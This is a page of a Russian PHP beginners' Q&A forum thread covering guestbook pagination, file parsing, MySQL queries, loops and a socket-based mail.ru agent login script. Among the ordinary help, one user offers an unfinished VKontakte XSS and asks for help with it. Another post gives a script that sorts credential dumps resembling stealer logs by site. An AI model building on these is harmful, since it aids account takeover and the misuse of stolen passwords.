PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 [45] 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Patronik
14.06.2009, 19:26
привет всем! У меня небольшая проблемка. Написал я простую гостевую книгу на php.
Все у меня работает сообщения выводяться в нужном порядке.
Только не могу дописать в код навигацыю по гостевой книге, може поможете. Я имею ввиду дописать Ссилки типа "Предидущие" "Следущие".
сообщения храняться в файлах в папке "mes" файлы в масиве $me[]; и виводяться таким кодом:
$size = sizeof($me);
if ($size != 0)
{
asort($me);
for($i=$start; $i<$count; $i++)
{

include ("$dirname/$me[$i]");
echo'<br><hr>';
}
}

В конце надо сделать так чтобы на странице было не больше 10 сообщений и стрелки навигацыи.

eLWAux
14.06.2009, 19:57
$size = sizeof($me);
if ($size != 0) {
asort($me);
if (isset($_GET['next'])) $start += 10;
if (isset($_GET['prev'])) $start -= 10;
for($i=$start; $i<10; $i++) {
include ("$dirname/$me[$i]");
echo'<br><hr>';
}
echo '<a href="?next">next</a>';
echo '<a href="?prev"> prev </a>';
}

KaZ@NoVa
14.06.2009, 20:00
я прошу хотябы подсказать какую функцию использовать для поиска в файле.
Нихрена не понял... можно поподробнее и, желательно, с примерами?

Chrek625
14.06.2009, 21:01
Вот пример:
https://blablablabla.com

LOGONPAGE=LOGONPAGE
screenRes=1024x768
timezone=GMT 0000
Java=On
UserId1=1234214
Password=qwerty
QQpass=qwerty

нечто подобное к примеру находиться в файлах. меня интересует с помощью какой функции можно найти строчку с адресом и считать её и несколько строк следующих за ней.

.:EnoT:.
14.06.2009, 21:15
Ну регулярками, или file() и поиск по массиву. А следующие строчки $file[$key + 1], $file[$key + 2]

Pashkela
14.06.2009, 21:40
<pre>
<?php
@set_time_limit(0);
@ini_set("display_errors","1");

$b = 8; //Кол-во строчек с нужной нам инфо, следующее за названием сайта (включая пустые строки, до следующего названия сайта)
$z = fopen('tema2.txt', 'a'); // Файл-результат по запросу
$submit = $_POST['submit'];
if(isset($submit))
{
$site = trim($_POST['site']);//Сайт, данные по которому нам нужны
$a = fopen('tema1.txt','r'); //Файл с данными
while(!feof($a)) {
$buffer = trim(fgets($a));
if (preg_match('|' . $site . '|',$buffer)) {
for ($i=1; $i<=$b; $i++) {
echo "$buffer\n";
fwrite ($z,"$buffer\r\n");
$buffer = trim(fgets($a));
}
}
}
fwrite ($z,"=====================\r\n");
fclose ($a);
}
?>
</pre>
<html>
<head>
<meta http-equiv="Content-Type" content="text; charset=windows-1251">
<title>FTP2FTP</title>
</head>
<bоdу>
<div align="center">
<form method="post">
<table>
<tr><td><span>Input site name:</span></td><td><input type="text" name="site" /></td></tr>
</table>
<input type="submit" name="submit" value="Find" />
</form>
</div>
</bоdу>
</html>


причем можно воодить без "http" или просто часть названия сайта

KaZ@NoVa
14.06.2009, 23:33
Вот пример:
https://blablablabla.com

LOGONPAGE=LOGONPAGE
screenRes=1024x768
timezone=GMT 0000
Java=On
UserId1=1234214
Password=qwerty
QQpass=qwerty

нечто подобное к примеру находиться в файлах. меня интересует с помощью какой функции можно найти строчку с адресом и считать её и несколько строк следующих за ней.

$data = file ( $filename );

Теперь в $data будет массив строк:

$data[0] == 'https://blablablabla.com';
$data[1] == 'LOGONPAGE=LOGONPAGE';
$data[2] == 'screenRes=1024x768';
etc...

P.S. Данные типа Java и ScreenRes для передачи на вход ресивера в системе супербана? =)

Patronik
15.06.2009, 17:04
как записать три строки в файл? Например первая $name втроая $email треяя $message.
Чтобы потом масив $data[0] содержал $name $data[1] содержал $email $data[2] содержал $message.
У меня получаеться так но если я в $message записиваю несколько строк с пробелами и с "ентер" например "авбгд
авбвгд
абвгд"

То потом у меня $data[2] содержыт только "авбгд" а мне нужно чтобы вивести потом все ссобщение а не только первую строку.

k.sergey
15.06.2009, 17:47
как записать три строки в файл?

при записи заменять символы переноса каретки на <br>

Patronik
15.06.2009, 17:55
Можно поконкретней, я записиваю так:
fputs($file,$name."\n");
fputs($file,$email."\n");
fputs($file,$message."\n");

Считиваю так
for($i2 = $start; $i2<$count; $i2++)
{
$entry = $me[$i2];
$data = file("mes/$me[$i2]");
$name = trim($data[0]);
$email = trim($data[1]);
$message = trim($data[2]);
}

KaZ@NoVa
15.06.2009, 18:02
как записать три строки в файл? Например первая $name втроая $email треяя $message.
Чтобы потом масив $data[0] содержал $name $data[1] содержал $email $data[2] содержал $message.
У меня получаеться так но если я в $message записиваю несколько строк с пробелами и с "ентер" например "авбгд
авбвгд
абвгд"

То потом у меня $data[2] содержыт только "авбгд" а мне нужно чтобы вивести потом все ссобщение а не только первую строку.

Перед записью для всех переменных делаешь:
$var = str_replace ( "\n" , '\n' , $var );
А при чтении потом:
$var = str_replace ( '\n' , "\n" , $var );

k.sergey
15.06.2009, 18:06
можно перед записью заменить символы переноса каретки на тег <br>
$message=str_replace("\n","<br>",$message);
тогда у вас в файле будет одна строка
$data[2] = "авбгд<br>авбвгд<br>абвгд";

L I G A
15.06.2009, 19:05
вставлю своих 5 коп

<?php
$msg="
авбгд
авбвгд
абвгд";
$msgtrue=str_replace("\n","",$msg);
echo $msgtrue;// авбгд авбвгд абвгд
?>

mailbrush
15.06.2009, 19:43
Эй, народ, что ЭТО такое??? Отвечу - это полтора страницы быдлокодов.
Patronik, Запись:

<?
$name='Павел Дуров'; #имя
$email='admin@vkontakte.ru'; #емейл
$message='Привет всем!'; #сообщение
$file='info.txt'; #файл для записи
fwrite(fopen($file,'a+'),$name."\r\n".$email."\r\n".$message); #запись в файл
?>


Чтение:
<?
$file='info.txt'; #файл для чтение
$data=file($file); #читаем файл
/*
$data выйдет

Array
(
[0] => Павел Дуров

[1] => admin@vkontakte.ru

[2] => Привет всем!
)

*/
?>

Fepsis
15.06.2009, 19:43
Считиваю так
$name = trim($data[0]);
$email = trim($data[1]);
$message = trim($data[2]);

Я бы считал так:

$name = array_shift($data);
$email = array_shift($data);
$message = implode(" ", $data);

mailbrush
15.06.2009, 19:44
Я бы считал так:

$name = array_shift($data);
$email = array_shift($data);
$message = implode(" ", $data);

Мда, почитай о функции file()
http://php.net/file

Fepsis
15.06.2009, 19:59
Мда, почитай о функции file()
http://php.net/file
Специально для тебя всё по-порядку:
1)

как записать три строки в файл? Например первая $name втроая $email треяя $message.
Чтобы потом масив $data[0] содержал $name $data[1] содержал $email $data[2] содержал $message.
У меня получаеться так но если я в $message записиваю несколько строк с пробелами и с "ентер" например "авбгд
авбвгд
абвгд"

То потом у меня $data[2] содержыт только "авбгд" а мне нужно чтобы вивести потом все ссобщение а не только первую строку.


2)

Можно поконкретней, я записиваю так:
fputs($file,$name."\n");
fputs($file,$email."\n");
fputs($file,$message."\n");

Считиваю так
for($i2 = $start; $i2<$count; $i2++)
{
$entry = $me[$i2];
$data = file("mes/$me[$i2]");
$name = trim($data[0]);
$email = trim($data[1]);
$message = trim($data[2]);
}


3)

Я бы считал так:
$name = array_shift($data);
$email = array_shift($data);
$message = implode(" ", $data);


То есть вместо кода

$name = trim($data[0]);
$email = trim($data[1]);
$message = trim($data[2]);


Я предлагаю

$name = array_shift($data);
$email = array_shift($data);
$message = implode(" ", $data);


Про file() я знаю, эта функция там присутствует...
К томуже мой вариант решает проблему

То потом у меня $data[2] содержыт только "авбгд" а мне нужно чтобы вивести потом все ссобщение а не только первую строку.
А твой нет...

Flair
15.06.2009, 20:44
есть xss вконтакте, нужна помощь чтобы доработать пишите в лс

diznt
16.06.2009, 00:45
Код:


while (!feof($file)){
$buff = fgets($file,4096);
$i++;
$ex1 = explode(";",$file);
$ex2 = explode("-",$file);
echo "<tr><td width=\"28\" height=\"23\"><center>".$i."</center></td><td width=\"107\"><center>".$ex1[0]."</center></td><td width=\"43\"><center>".$ex2[1]."</center></td>,</tr>";
}


Проблема в том что отображаеться в поле вместо содержания $ex1[0] отображается "Resource id #4" а вместо $ex2[1] - ничего
Ах да все что было в файле удаляется при этом

В чем проблема?
В файле из которого вывожу примерно это

123456;098732-15

mailbrush
16.06.2009, 01:16
<?
$file=file('info.txt');
foreach($file as $line){
$i++;
$ex1 = explode(";",$line);
$ex2 = explode("-",$line);
echo "<tr><td width=\"28\" height=\"23\"><center>".$i."</center></td><td width=\"107\"><center>".$ex1[0]."</center></td><td width=\"43\"><center>".@$ex2[1]."</center></td>,</tr>";
}
?>
Так устраивает? Намного легче + удобнее.

ЗЫ: Если надо все таки тот вариант, читай с буффера, а не с хендла
<?
$file=fopen('info.txt','a+');
while (!feof($file)){
$buff = fgets($file,4096);
$i++;
$ex1 = explode(";",$buff); //посмотри у себя
$ex2 = explode("-",$buff); //посмотри у себя
echo "<tr><td width=\"28\" height=\"23\"><center>".$i."</center></td><td width=\"107\"><center>".$ex1[0]."</center></td><td width=\"43\"><center>".$ex2[1]."</center></td>,</tr>";
}
?>

diznt
16.06.2009, 04:00
<?
$file=file('info.txt');
foreach($file as $line){
$i++;
$ex1 = explode(";",$line);
$ex2 = explode("-",$line);
echo "<tr><td width=\"28\" height=\"23\"><center>".$i."</center></td><td width=\"107\"><center>".$ex1[0]."</center></td><td width=\"43\"><center>".@$ex2[1]."</center></td>,</tr>";
}
?>
Так устраивает? Намного легче + удобнее.

ЗЫ: Если надо все таки тот вариант, читай с буффера, а не с хендла
<?
$file=fopen('info.txt','a+');
while (!feof($file)){
$buff = fgets($file,4096);
$i++;
$ex1 = explode(";",$buff); //посмотри у себя
$ex2 = explode("-",$buff); //посмотри у себя
echo "<tr><td width=\"28\" height=\"23\"><center>".$i."</center></td><td width=\"107\"><center>".$ex1[0]."</center></td><td width=\"43\"><center>".$ex2[1]."</center></td>,</tr>";
}
?>

Спасибо большое! ;)

Вот такой вопрос ко всем...
Нужно сделать задержку в миллисекундах (на php)
Как это реализовать? подчеркиваю что в миллисекундах нужна задержка а не в секундах

Pashkela
16.06.2009, 04:05
http://us.php.net/manual/en/function.usleep.php

Patronik
16.06.2009, 09:13
Эй, народ, что ЭТО такое??? Отвечу - это полтора страницы быдлокодов.
Patronik, Запись:

<?
$name='Павел Дуров'; #имя
$email='admin@vkontakte.ru'; #емейл
$message='Привет всем!'; #сообщение
$file='info.txt'; #файл для записи
fwrite(fopen($file,'a+'),$name."\r\n".$email."\r\n".$message); #запись в файл
?>


Чтение:
<?
$file='info.txt'; #файл для чтение
$data=file($file); #читаем файл
/*
$data выйдет

Array
(
[0] => Павел Дуров

[1] => admin@vkontakte.ru

[2] => Привет всем!
)

*/
?>


Я знаю функцию file(); и использовал ее там, читай внимательно. Проблему решыл заменой перед записю символов переноса строки на тег <br>. Всем спасибо! Все работает

diznt
16.06.2009, 19:42
Код:


<?php
if (isset($_POST['do'])){
print($_POST['zzz']);
}
?>
<html>
<form method="post">
<textarea name="zzz" cols="40" rows="6"></textarea>
<input type="submit" name="do" value="OK">
</form>
</html>


Когда вставляю

<script>alert('')</script>

То перед ' подставляеться "\" (без ковычек)
Что делать чтобы не подставлялся этот символ? (дада чтобы не подставлялся и чтобы алерт сработал)

Extremal
16.06.2009, 19:52
2diznt

<html>
<form method="post">
<textarea name="zzz" cols="40" rows="6"></textarea>
<input type="submit" name="do" value="OK">
</form>
</html>

<?php
if($_POST['do']){
echo stripslashes($_POST['zzz']) ;
}
?>

FireFenix
16.06.2009, 19:52
Крути в настройках php - Magic Quotes GPC

diznt
17.06.2009, 00:34
1.Как сделать подсчет строк в textarea?

2.Есть таблица(пусть название будет "Users" (без ковычек))... Там есть две колонки, в одной колонке под названием "Points" (без ковычек) собираються очки юзера (вторая колонка под названием "Username" (без ковычек))
Вообщем надо сделать что-то по типу ТОП-10 ... то есть вывести 10 юзеров у кого больше всех очков
Как это реализовать?

Extremal
17.06.2009, 00:41
to diznt

2.Есть таблица... Там есть две колонки, в одной колонке под названием "Points" (без ковычек) собираються очки юзера (вторая колонка под названием "Username" (без ковычек))
Вообщем надо сделать что-то по типу ТОП-10 ... то есть вывести 10 юзеров у кого больше всех очков
Как это реализовать?

$result= mysql_query("SELECT * FROM table ORDER BY Points DESC LIMIT 1,10");

Pashkela
17.06.2009, 01:38
1.Как сделать подсчет строк в textarea?



<?
$submit = $_POST['submit'];
if(isset($submit)) {
$file = $_POST['info'];
$arr = explode("\r\n",$file);
echo count($arr) . " lines";
} else {
Echo '
<form method = "POST">
<tr><td><textarea name="info" cols="20" rows="10"></textarea></td></tr>
<input type = "submit" name="submit" value = "Count lines"><br />
</form>';
}
?>


можешь вставить в textarea этот код и посчитать кол-во строчек в нем:)

erihtoney
17.06.2009, 09:09
2.Есть таблица(пусть название будет "Users" (без ковычек))... Там есть две колонки, в одной колонке под названием "Points" (без ковычек) собираються очки юзера (вторая колонка под названием "Username" (без ковычек))
Вообщем надо сделать что-то по типу ТОП-10 ... то есть вывести 10 юзеров у кого больше всех очков
Как это реализовать?

<table border="0" width=100%>
<tr>
<td><b>#</b></td><td><b>login</b></td><td><b>рейтинг</b></td>
</tr>
<?php
$i=0;
$result10=mysql_query("SELECT username,points FROM users order by points desc limit 10");
$myrow_top10=mysql_fetch_array($result10);
do {
$i++;
printf ("<tr>
<td>$i</td>
<td>%s</td>
<td><b>%s</b></td>
</tr>",
$myrow_top10[username],$myrow_top10[points]);

}
while($myrow_top10=mysql_fetch_array($result10));
?>

</table>

d_x
17.06.2009, 16:14
erihtoney, если в таблице ни одной записи, то выведется одна пустая строка.
Правильнее:

//...
if(mysql_num_rows($result10)<1)
{
print '<tr><td colspan=3>Результатов нет</td></tr>';
}
else
{
while($myrow_top10=mysql_fetch_array($result10))
{
//... действия по выводу
}
}
//..

Еще неплохо делать mysql_free_result($result10).
Вместо mysql_fetch_array оптимальнее использовать mysql_fetch_assoc или mysql_fetch_array($result10,MYSQL_ASSOC);


1.Как сделать подсчет строк в textarea?
Если надо локально, без отправки текста на сервер, то вот:

<html><body>
<textarea onchange='countstr(this.value);' onkeyup='countstr(this.value);'>
</textarea>
<br>Строк: <span id='strnum'></span>
<script language='JavaScript'>
function countstr(text)
{
document.getElementById('strnum').innerHTML= text.length - text.replace(/\n/g,'').length;
}
</script>
</body></html>

brain[pillow]
17.06.2009, 16:40
Есть сайт, работающий только через SSL. Нужно соединиться с ним через HTTPS-прокси.

Адрес HTTPS-прокси допустим proxy.ru:80

$socket = fsockopen('proxy.ru',80,$errn,$errd,10);
$packet = "GET /opa HTTP/1.1\r\nHost: site.com\r\n\r\n".
fwrite($socket,$packet);
fclose($socket);

Так не пашет (редиректит через 302 - location: https://blabla)
Host: site.com:443
Так тоже не пашет (тот же редирект)
Host: ssl://site.com
Так собственно тоже не пашет (ошибка 502).

В чём трабл?

mailbrush
17.06.2009, 16:43
Используй cURL (http://php.net/curl)

brain[pillow]
17.06.2009, 16:45
Можно обойтись и сокетами. Просто я не знаю как.

krypt3r
17.06.2009, 17:04
А если так\

$socket = fsockopen ('ssl://proxy.ru'...);
$packet = "GET site.com:443"...

?

brain[pillow]
17.06.2009, 17:11
Пробывал, получил в ответ:

Warning: fsockopen() [function.fsockopen]: SSL operation failed with code 1. OpenSSL Error messages: error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol

m0Hze
17.06.2009, 17:21
Используй cURL (http://php.net/curl)
Curl для работы с прокси не очень.
Лучше юзать сокеты

geforse
17.06.2009, 17:30
Помогите тут (http://win.mail.ru/cgi-bin/loginagent) авторизоваться...

m0Hze
17.06.2009, 17:34
http://koi.mail.ru/cgi-bin/auth
Login
Password
Domain
Что не понятно?

geforse
17.06.2009, 17:40
Всё понятно, только когда курлом шлю, вылезает алерт "Невозможно было авторизоваться" и за ним ещё один "Вы действительно хотите уйти с этой страницы ?"



<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_URL, "http://koi.mail.ru/cgi-bin/auth");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'page=http%3A%2F%2Fwmrim.mail.ru%2Fwin%2Fcontactli st.html&FailPage=http%3A%2F%2Fwin.mail.ru%2Fcgi-bin%2Floginagent&post=&login_from=&Login=login&Domain=mail.ru&Password=pass&x=31&y=14');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/.cookie');
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1");
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
?>

Fepsis
17.06.2009, 18:25
Всё понятно, только когда курлом шлю, вылезает алерт "Невозможно было авторизоваться" и за ним ещё один "Вы действительно хотите уйти с этой страницы ?"

Авторизуешься ты вот так:

$cl = curl_init();
curl_setopt($cl, CURLOPT_URL,
'http://koi.mail.ru/cgi-bin/auth?page=http%3A%2F%2Fwmrim.mail.ru%2Fwin%2Fconta ctlist.html&FailPage=http%3A%2F%2Fwin.mail.ru%2Fcgi-bin%2Floginagent&post=&login_from=&Login=логин&Domain=mail.ru&Password=пароль&x=0&y=0');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
$ex = curl_exec($cl);


Если сразу после этого сделаешь:

$cl = curl_init();
curl_setopt($cl, CURLOPT_URL, 'http://win.mail.ru/cgi-bin/start?back=1');
curl_setopt($cl, CURLOPT_COOKIEFILE,$_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
$ex = curl_exec($cl);
echo $ex;

То попадёшь в почтовый ящик, что говорит о том, что авторизация прошла успешно...
Но туда, куда тебе надо (http://wmrim.mail.ru/win/contactlist.html?post=&x=0&y=0&login_from= как я понял) просто так не пускает..

FireFenix
17.06.2009, 18:35
<form method="post" action="?">
<input type="text" name="Login" value=""><br>
<input type="text" name="Password" value=""><br>
<select name="Domain">
<option value="mail.ru" selected>@mail.ru</option>
<option value="inbox.ru" >@inbox.ru</option>
<option value="bk.ru" >@bk.ru</option>
<option value="list.ru" >@list.ru</option>
</select><br>
<input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label><br>
<input type="submit" value="Отправить">
</form>

<?php

if (isset($_POST['Login']) && isset($_POST['Password']) && isset($_POST['Domain']))
{
foreach ($_POST as $key => $value)
{
if (strlen($post) > 0) {$post .= '&';}
$post .= $key . '=' . $_POST[$key];
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_URL, "http://koi.mail.ru/cgi-bin/auth");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1");
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);

echo($result);
}

?>

У меня вот всё работает :)

d_x
17.06.2009, 18:40
FireFenix, ты авторизовался просто в mail.ru, а не в мейл-агенте, как просят.

Туда пускает, просто там всё реализовано с помощью AJAX, курл не поможет. Когда я писал скрипт для отправки sms через мейл-агент, помимо авторизации там требовалось поддерживать еще одно keep-alive соединение, иначе сервер просто выкидывал.

Что именно требуется? Получить контакт-лист?

FireFenix
17.06.2009, 18:45
Упс, сотрел тока на линк авторизации

geforse
17.06.2009, 18:47
Что именно требуется? Получить контакт-лист?

Да

d_x
17.06.2009, 19:38
Вроде бы есть класс для работы с mrim на php, у меня нет сейчас времени смотреть, как конкретно отсылаются пакеты. Возможно, легче реализовать получение контакт-листа не через веб-агент (описание протокола есть тут: http://agent.mail.ru/ru/developers/protocol.html).

krypt3r
17.06.2009, 19:54
Например, можно тут (http://gibs0n.name/mainpage/view/article/Описание+протокола+Mail.Ru+аге нта) почитать

d_x
17.06.2009, 19:55
Все-таки сделал
<?php
$login='мыло';
$pass='пасс';
$pr='';$pp=''; //адрес прокси и порт, если надо

$res=socket_do('win.mail.ru','/cgi-bin/loginagent','','GET','','',0,$pr,$pp);
preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook);
foreach($cook[1] as $ck)
{
$cookies[]=$ck;
}

$tmpcookie=implode('; ',array_unique($cookies));

$res=socket_do('koi.mail.ru','/cgi-bin/auth',"page=http%3A%2F%2Fwmrim.mail.ru%2Fwin%2Fcontactlis t.html&FailPage=http%3A%2F%2Fwin.mail.ru%2Fcgi-bin%2Floginagent&post=&login_from=&Login=$login&Domain=$domain&Password=$pass&level=1&x=11&y=12",'POST',$tmpcookie,'http://win.mail.ru/cgi-bin/loginagent',0,$pr,$pp);

preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook);
foreach($cook[1] as $ck)
{
$cookies[]=$ck;
}

$cookies=implode('; ',array_unique($cookies));

preg_match("/Location: http:\/\/koi\.mail\.ru\/cgi\-bin\/checkcookie\?(.+)\r\n/iUs",$res,$m);

if(!isset($m[1]))
die("Ошибка при входе.");

$res=socket_do('koi.mail.ru','/cgi-bin/checkcookie?'.$m[1],'','GET',$cookies,'http://win.mail.ru/cgi-bin/loginagent',0,$pr,$pp);
preg_match("/Location: (.+)\r\n/iUs",$res,$m);

if(!isset($m[1]))
die("Ошибка при входе.");

$tmp=explode('/',$m[1],4);

$res=socket_do('wmrim.mail.ru','/'.$tmp[3],'','GET',$cookies,'http://win.mail.ru/cgi-bin/loginagent',0,$pr,$pp);

$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

if(!$sock)
die("Ошибка при создании сокета.");

if($pr)
{
@socket_connect($sock,$pr,$pp) or die("Ошибка при работе с сокетами.");
$request = "POST http://wmrim.mail.ru/connect HTTP/1.0\r\n";
}
else
{
$mip=@gethostbyname('wmrim.mail.ru');
@socket_connect($sock,$mip,"80") or die("Ошибка при работе с сокетами.");
$request = "POST /connect HTTP/1.0\r\n";
}

@socket_set_nonblock($sock) or die("Ошибка при работе с сокетами.");
if(@socket_select($r = null, $w = array($sock), $f = null, 5)!=1)
die("Ошибка при работе с сокетами.");

$request.= "Host: wmrim.mail.ru\r\n";
$request.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
$request.= "Referer: {$m[1]}\r\n";
$request.= "Content-Type: application/xml\r\n";
$request.= "Content-Length: ".strlen('status=1')."\r\n";
$request.= "Connection: keep-alive\r\n";
$request.= "Keep-alive: 300\r\n";
$request.= "Cookie: $cookies\r\n";
$request.= "\r\n";

@socket_write($sock,$request.'status=1') or die("Ошибка при работе с сокетами.");

if(@socket_select($r = array($sock), $w = null, $f = null, 5)!=1)
die("Ошибка при работе с сокетами.");

$ret=@socket_read($sock,1000) or die("Ошибка при работе с сокетами.");

if(strpos($ret,"MRIM_CS_LOGIN_REJ, {reason:\"Invalid session\"}")!==false)
{
@socket_close($sock);
die("Ошибка авторизации в mail-агенте.");
}

if(@socket_select($r = array($sock), $w = null, $f = null, 5)!=1)
die("Ошибка при работе с сокетами.");

$ret=@socket_read($sock,100000) or die("Ошибка при работе с сокетами.");
print htmlspecialchars($ret); //вот отсюда брать контакт-лист
@socket_close($sock);
usleep($wt*1000);


function socket_do($page,$suri,$data,$method,$cook,$ref,$cl ose=0,$pr='',$pp=0)
{
if($pr)
{
$request="$method http://$page$suri HTTP/1.0\r\n";
$fp=fsockopen("tcp://".$pr,$pp,$errno,$errstr,30);
}
else
{
$request = "$method $suri HTTP/1.0\r\n";
$fp=fsockopen('tcp://'.$page,80,$errorNumber,$errorString,30);
}

if(!$fp) die("Ошибка при работе с сокетами.");

@stream_set_timeout($fp,30);

$request.= "Host: $page\r\n";
$request.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
if($ref) $request.= "Referer: $ref\r\n";

if($method=='POST')
{
$request.= "Content-Type: application/x-www-form-urlencoded\r\n";
$request.= "Content-Length: ".strlen($data)."\r\n";
}

$request.= "Connection: close\r\n";

if($cook)
$request.="Cookie: $cook\r\n";

$request.="\r\n";
$request.=$data;

fputs($fp,$request);

$res="";

while(!feof($fp))
{
$res.=fgets($fp,128);
if($close) break;
}

fclose($fp);

return $res;
}
?>

Из того, что в конце получает скрипт, несложно получить и контакт-лист.
PS. На денвере работать не будет.

diznt
17.06.2009, 22:50
У меня слишком много результатов вывода из Mysql
Я хотел бы их по страницам разбить (выводы)

Как это сделать?

m0Hze
17.06.2009, 22:55
http://alt-f4.ru/php-mysql-output-by-page

shellz[21h]
17.06.2009, 23:50
<?php
$min = 0;
$max = 25;


for ($i = 1; $i < 12; $i++)
{
for($j = $min; $j < $max; $j++)
{
$e .= "num: ".$j."\n";
}
$min += $max;
$max += $max;
}
echo $e."\n";
?>
В чем трабла, цыкл доходит до 99, и начинается с 175, в идеале должен дойти 299, прибавляя за итерацию 25.

m0Hze
17.06.2009, 23:58
']
<?php
$min = 0;
$max = 25;


for ($i = 1; $i < 12; $i++)
{
for($j = $min; $j < $max; $j++)
{
$e .= "num: ".$j."\n";
}
$min += $max;
$max += $max;
}
echo $e."\n";
?>
В чем трабла, цыкл доходит до 99, и начинается с 175, в идеале должен дойти 299, прибавляя за итерацию 25.
Попахивает говнокоденгомь=(

shellz[21h]
18.06.2009, 00:10
тем не менее, а проблема не решина.

d_x
18.06.2009, 00:14
должен дойти 299, прибавляя за итерацию 25.

for($i=0;$i<=299;$i+=25)
print $i.'<br>';

m0Hze
18.06.2009, 00:14
тем неменее,зачем так усложнять?Составь один цикл,и живи спокойно.

Chrek625
18.06.2009, 00:18
Доброго времени суток. подскажите есть ли какая то фуркция для того чтоб перевернуть строку в пхп тоесть данная к примеру строка 1234567 а надо получить 7654321.

d_x
18.06.2009, 00:19
http://ru2.php.net/manual/ru/function.strrev.php

diznt
18.06.2009, 00:24
<html>
<body>
<?php
$i = 1;
if ($i == 1){
echo "Пыщь";
die();
}
echo "Пыщь2222";
?>
<br>
<br>
<?php
echo "ы";
?>
</body>
</html>

Собственно "ы" должно еще высветиться
Но как сделать чтобы оно высветилось когда до него есть die() (в if'е) ?
die() нельзя убирать

m0Hze
18.06.2009, 00:28
oO

m0Hze
18.06.2009, 00:30
echo.php

<?
echo "Ы!";
?>

..
die(include("echo.php"));

ы? даже не проверял :D
Или:

<html>
<body>
<?php
$i = 1;
if ($i == 1){
echo "Пыщь";
die("<br>
<br>
ы
</body>
</html>");
}
echo "Пыщь2222"
?>

159932
18.06.2009, 00:30
никак

d_x
18.06.2009, 00:34
Зачем это делать? После die скрипт не выполняется в любом случае.
Перед самым выходом неявно можно так, но это все равно не после die )

<?php
class test
{
function __destruct()
{
print "ы";
}
}

$a=new test;
die();
?>

diznt
18.06.2009, 00:34
m0Hze так не идет... "Ы" должно после "пыщь2222" выводиться

159932 что мне тогда делать? в таблице у меня основной код а я хотел бы еще снизу поставить текст который вызывается из настроек (-> из php файла)

159932
18.06.2009, 00:39
как уже сказал диикс, после дай'а ничего не будет..
ты про if/else слышал? хули на елсе не сделать?

diznt
18.06.2009, 00:41
как уже сказал диикс, после дай'а ничего не будет..
ты про if/else слышал? хули на елсе не сделать?
да все все не ругайся :D
Уже все понял (просто код лень переписывать вот и спросил)

m0Hze
18.06.2009, 00:42
Full code in topic :)

shellz[21h]
18.06.2009, 01:01
for($i=0;$i<=299;$i+=25)
print $i.'<br>';

Возможно я не правильно вырозился, мне нужно чтоб за интерацию первого цыкла, второй цыкл проганял 25 интераций и так 12 раз. должно получится 1-299 по 25 за интерацию первого цыкла.

neval
18.06.2009, 01:26
<?php
$min = 0;
$max = 25;
$step = 25;

for ($i = 0; $i < 12; $i++){
for($j = $min; $j < $max; $j++){
echo $j."\n";
}
$min += $step;
$max += $step;
}
?>

neval
18.06.2009, 01:29
Или покороче:

<?php
$max = 25;
$step = 25;

for ($i = 0; $i < 12; $i++,$min+=$step,$max+=$step){
for($j = $min; $j < $max; $j++){
echo "num: ".$j."\n";
}
}
?>

shellz[21h]
18.06.2009, 01:38
благодарю..

Chrek625
18.06.2009, 02:49
как сделть так чтобы при условии что в строке количество символов не дающее при деление на 6 целого числа, то к выражению которое делиться в начале добавлялся 0.
я определил количество символов но не знаю как сделать так чтобы при услови что is_int() даёт тру добавлялся 0 в начало выражения.
ПОдскажите вобщем с помощью какой функци или как добавлять к строчке 0???

Fepsis
18.06.2009, 03:04
как сделть так чтобы при условии что в строке количество символов не дающее при деление на 6 целого числа, то к выражению которое делиться в начале добавлялся 0.
я определил количество символов но не знаю как сделать так чтобы при услови что is_int() даёт тру добавлялся 0 в начало выражения.
ПОдскажите вобщем с помощью какой функци или как добавлять к строчке 0???

<?php
$string = "строка";
$string = str_pad($string, strlen($string)+1, "0", STR_PAD_LEFT);
echo $string;
?>

Chrek625
18.06.2009, 06:56
я только учу PHP поэтому не всё понимаю. Обьясните в чём я ошибся почему не работает скрипт:

<?php
@set_time_limit(0);
$messeg = "1100011111";
$koll = strlen($messeg); // считаем количество символо
$perv = strrev($messeg); // Переворачиваем строку
$nnn = ($koll / 6);


while (!is_int($nnn)){
$perv = str_pad($perv, strlen($perv)+1, "0", STR_PAD_LEFT);
}

